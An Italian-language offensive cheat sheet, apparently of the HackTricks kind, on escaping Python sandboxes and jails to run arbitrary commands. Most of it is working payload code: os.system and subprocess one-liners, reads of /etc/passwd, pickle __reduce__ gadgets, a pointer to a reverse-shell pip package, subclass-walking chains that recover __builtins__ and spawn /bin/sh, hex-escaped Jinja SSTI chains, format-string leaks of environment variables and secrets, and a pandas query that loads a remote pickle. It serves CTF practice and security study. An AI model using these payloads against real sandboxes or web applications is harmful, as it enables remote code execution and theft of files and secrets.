Questi sono alcuni trucchi per bypassare le protezioni della sandbox di Python ed eseguire comandi arbitrari.
Librerie di Esecuzione Comandi
La prima cosa che devi sapere è se puoi eseguire direttamente codice con qualche libreria già importata, o se puoi importare una di queste librerie:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Ricorda che le funzioni open e read possono essere utili per leggere file all'interno della sandbox python e per scrivere del codice che potresti eseguire per bypassare la sandbox.
La funzione input() di Python2 consente di eseguire codice python prima che il programma si arresti.
Python cerca di caricare le librerie dalla directory corrente per prima (il seguente comando stamperà da dove python sta caricando i moduli): python3 -c 'import sys; print(sys.path)'
Bypassare la sandbox pickle con i pacchetti python installati di default
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo è necessario decomprimerlo, modificare il setup.py e inserire il proprio IP per la reverse shell:
Questo pacchetto si chiama Reverse. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi non lascerai alcun pacchetto python extra installato sul server quando te ne vai.
Eval-ing python code
Nota che exec consente stringhe multilinea e ";", ma eval non lo fa (controlla l'operatore walrus)
Se alcuni caratteri sono vietati, puoi utilizzare la rappresentazione hex/octal/B64 per bypassare la restrizione:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Altre librerie che consentono di valutare il codice python
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Operatori e trucchi brevi
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypassare le protezioni attraverso le codifiche (UTF-7)
In questo articolo UFT-7 viene utilizzato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
È anche possibile eluderlo utilizzando altre codifiche, ad esempio raw_unicode_escape e unicode_escape.
Esecuzione di Python senza chiamate
Se sei all'interno di una prigione python che non ti consente di effettuare chiamate, ci sono ancora alcuni modi per eseguire funzioni, codice e comandi arbitrari.
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE creando oggetti e sovraccarico
Se puoi dichiarare una classe e creare un oggetto di quella classe, potresti scrivere/sovrascrivere diversi metodi che possono essere attivatisenzadoverli chiamare direttamente.
RCE con classi personalizzate
Puoi modificare alcuni metodi di classe (sovrascrivendo metodi di classe esistenti o creando una nuova classe) per farli eseguire codice arbitrario quando attivati senza chiamarli direttamente.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
La cosa fondamentale che le metaclassi ci permettono di fare è creare un'istanza di una classe, senza chiamare direttamente il costruttore, creando una nuova classe con la classe target come metaclasse.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Creazione di oggetti con eccezioni
Quando viene attivata un'eccezione, un oggetto di Exception viene creato senza che tu debba chiamare direttamente il costruttore (un trucco di @_nag0mez):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Maggiore RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Leggi il file con l'aiuto e la licenza dei builtins
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
Se puoi accedere all'oggetto __builtins__ puoi importare librerie (nota che potresti anche usare qui un'altra rappresentazione di stringa mostrata nell'ultima sezione):
Quando non hai __builtins__, non sarai in grado di importare nulla né di leggere o scrivere file poiché tutte le funzioni globali (come open, import, print...) non sono caricate.
Tuttavia, per impostazione predefinita, python importa molti moduli in memoria. Questi moduli possono sembrare benigni, ma alcuni di essi importano anche funzionalità pericolose al loro interno che possono essere accessibili per ottenere anche l'esecuzione di codice arbitrario.
Nei seguenti esempi puoi osservare come abuse di alcuni di questi moduli "benigni" caricati per accedere a funzionalitàpericolose al loro interno.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Payloads builtins
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals e locals
Controllare i globals e locals è un buon modo per sapere a cosa puoi accedere.
Qui voglio spiegare come scoprire facilmente funzionalità più pericolose caricate e proporre exploit più affidabili.
Accesso a sottoclassi con bypass
Una delle parti più sensibili di questa tecnica è essere in grado di accedere alle sottoclassi di base. Negli esempi precedenti questo è stato fatto usando ''.__class__.__base__.__subclasses__() ma ci sono altri modi possibili:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Trovare librerie pericolose caricate
Ad esempio, sapendo che con la libreria sys è possibile importare librerie arbitrarie, puoi cercare tutti i moduli caricati che hanno importato sys al loro interno:
Ci sono molte, e ne abbiamo solo bisogno di una per eseguire comandi:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Possiamo fare la stessa cosa con altre librerie che sappiamo possono essere utilizzate per eseguire comandi:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Inoltre, potremmo anche cercare quali moduli stanno caricando librerie dannose:
Inoltre, se pensi che altre librerie possano invocare funzioni per eseguire comandi, possiamo anche filtrare per nomi di funzioni all'interno delle possibili librerie:
Questo è semplicemente fantastico. Se stai cercando un oggetto come globals, builtins, open o qualsiasi altra cosa, usa questo script per trovare ricorsivamente i luoghi in cui puoi trovare quell'oggetto.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
Puoi controllare l'output di questo script su questa pagina:
Se invi una stringa a python che verrà formattata, puoi usare {} per accedere a informazioni interne di python. Puoi usare gli esempi precedenti per accedere a globals o builtins, ad esempio.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Nota come puoi accedere agli attributi in modo normale con un punto come people_obj.__init__ e elemento dict con parentesi senza virgolette __globals__[CONFIG]
Nota anche che puoi usare .__dict__ per enumerare gli elementi di un oggetto get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Alcune altre caratteristiche interessanti delle stringhe di formato sono la possibilità di eseguire le funzionistr, repr e ascii nell'oggetto indicato aggiungendo !s, !r, !a rispettivamente:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Inoltre, è possibile codificare nuovi formattatori nelle classi:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
Ulteriori esempi sugli esempi di stringaformattata possono essere trovati in https://pyformat.info/
Controlla anche la seguente pagina per gadget che read sensitive information from Python internal objects:
Payload per la divulgazione di informazioni sensibili
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}# Example from https://corgi.rip/posts/buckeye-writeups/secret_variable ="clueless"x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')str(x)# Out: clueless
Dalla formattazione al caricamento RCE delle librerie
Secondo il TypeMonkey chall di questo writeup, è possibile caricare librerie arbitrarie dal disco abusando della vulnerabilità della stringa di formato in python.
Come promemoria, ogni volta che viene eseguita un'azione in python, viene eseguita una funzione. Ad esempio, 2*3 eseguirà (2).mul(3) o {'a':'b'}['a'] sarà {'a':'b'}.__getitem__('a').
Una vulnerabilità della stringa di formato python non consente di eseguire funzioni (non consente di utilizzare le parentesi), quindi non è possibile ottenere RCE come '{0.system("/bin/sh")}'.format(os).
Tuttavia, è possibile utilizzare []. Pertanto, se una libreria python comune ha un metodo __getitem__ o __getattr__ che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
Cercando un gadget del genere in python, il writeup propone questa query di ricerca su Github. Dove ha trovato questo uno:
Questo gadget consente di caricare una libreria dal disco. Pertanto, è necessario in qualche modo scrivere o caricare la libreria da caricare correttamente compilata sul server attaccato.
In alcuni CTF potresti ricevere il nome di una funzione personalizzata in cui risiede il flag e devi esaminare gli interni della funzione per estrarlo.
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ e func_globals (Stesso) Ottiene l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarato:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ e func_code: Puoi accedere a questo attributo della funzione per ottenere l'oggetto codice della funzione.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Ottenere informazioni sul codice
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Nota che se non puoi importare dis nel sandbox python puoi ottenere il bytecode della funzione (get_flag.func_code.co_code) e disassemblarlo localmente. Non vedrai il contenuto delle variabili che vengono caricate (LOAD_CONST), ma puoi indovinarle da (get_flag.func_code.co_consts) perché LOAD_CONST indica anche l'offset della variabile che viene caricata.
Ora, immaginiamo che in qualche modo tu possa estrarre le informazioni su una funzione che non puoi eseguire ma che devieseguire.
Come nel seguente esempio, tu puoi accedere all'oggetto codice di quella funzione, ma leggendo semplicemente il disassemblaggio tu non sai come calcolare il flag (immagina una funzione calc_flag più complessa)
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Creazione dell'oggetto codice
Prima di tutto, dobbiamo sapere come creare ed eseguire un oggetto codice in modo da poterne creare uno per eseguire la nostra funzione leaked:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
A seconda della versione di python, i parametri di code_type possono avere un ordine diverso. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Ricreare una funzione trapelata
Nell'esempio seguente, prenderemo tutti i dati necessari per ricreare la funzione direttamente dall'oggetto codice della funzione. In un esempio reale, tutti i valori per eseguire la funzione code_type è ciò che dovrai trapelare.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Bypass Defenses
Negli esempi precedenti all'inizio di questo post, puoi vedere come eseguire qualsiasi codice python utilizzando la funzione compile. Questo è interessante perché puoi eseguire interi script con cicli e tutto in un un'unica riga (e potremmo fare lo stesso usando exec).
Comunque, a volte potrebbe essere utile creare un oggetto compilato su una macchina locale ed eseguirlo sulla macchina CTF (ad esempio perché non abbiamo la funzione compiled nel CTF).
Ad esempio, compiliamo ed eseguiamo manualmente una funzione che legge ./poc.py:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
Se non puoi accedere a eval o exec, potresti creare una funzione adeguata, ma chiamarla direttamente di solito fallirà con: costruttore non accessibile in modalità ristretta. Quindi hai bisogno di una funzione non nell'ambiente ristretto per chiamare questa funzione.
Python eseguito con ottimizzazioni con il parametro -O rimuoverà le dichiarazioni di asserzione e qualsiasi codice condizionale sul valore di debug.
Pertanto, controlli come
defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")